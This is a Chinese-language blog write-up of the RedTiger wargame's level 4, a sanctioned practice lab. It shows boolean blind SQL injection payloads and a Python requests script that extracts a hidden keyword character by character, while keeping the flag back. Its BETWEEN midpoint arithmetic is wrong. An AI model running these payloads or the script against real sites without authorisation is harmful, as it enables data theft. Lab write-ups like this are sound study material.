red tiger 打靶日志

作于: 2022 年 5 月 6 日,预计阅读时间 3 分钟

前言

虽然靶场说不要透露任何 solution 但谷歌搜了下发现早有人透题了...于是灵活一点,不透 flag 就完了。

正文

盲注测试

看到id=1先试试id=2,发现返回 0,然后试试id=2 or 1=1,返回1,应该能注入。

长度测试

本来想 or 跟一个子查询:SELECT (SELECT CHAR_LENGTH(keyword) FROM level4_secret LIMIT 1)>10;,手欠试了下直接or char_length(keyword)>10 发现返回了 1 row,于是省掉了子查询。

or char_length(keyword)>?二分法,从>100开始测直到得到结果。

按位猜解

or ascii(substring(keyword,1,1)) BETWEEN ascii('a') AND ascii('z')测一遍第一个字符是不是小写字母,然后按这个思路二分搜一遍。

BETWEEN ascii('a') AND ascii('z')
BETWEEN ascii('a') AND ascii('a')-ascii('z') # 字母表前一半, 97~122
BETWEEN ascii('a')-ascii('z') and ascii('z') # 字母表后一半
BETWEEN ascii('A') AND ascii('Z')
BETWEEN ascii('0') AND ascii('9')

但如果不是字母或数字,是 UNICODE 的话就麻烦了。可以结合 hex 函数或者别的方式编码一下再猜,我没找到能把 UNICODE 转数字就像 ascii 一样的函数。

手工测肯定是不行的,没那个闲工夫。写个脚本暴力跑一遍即可。

import time
import requests
import string

length = 0 # 自己根据上面的方法找出 keyword 长度
secret = ''

for pos in range(1, length):
    for c in string.printable:
        time.sleep(0.1)
        print(f'{pos}: test {c}')
        resp = requests.get('http://redtiger.labs.overthewire.org/level4.php', {
            'id': f'2 or substring(keyword,{pos},1)=\'{c}\''
        }, cookies={
            # **removed**
        })
        if resp.text.find('Query returned 1 rows.') >= 0:
            print(f'{pos}: {repr(c)} correct')
            secret += c
            break

print(f'secret is {secret}')

注意 cookies,其他没有特别的地方。这个脚本略暴力,可以优化成 find_in_set 二分搜索,可以显著降低请求次数。

总结

把 flag 贴进去就过了,没什么难的。原本想 sqlmap 能不能解决,但 sqlmap 还用不太熟练,不确定能不能盲注解出 keyword 的值。之后会在 DVWA 上研究下 sqlmap 猜解指定的字段要怎么猜。

/security/ /redtiger/ /sqli/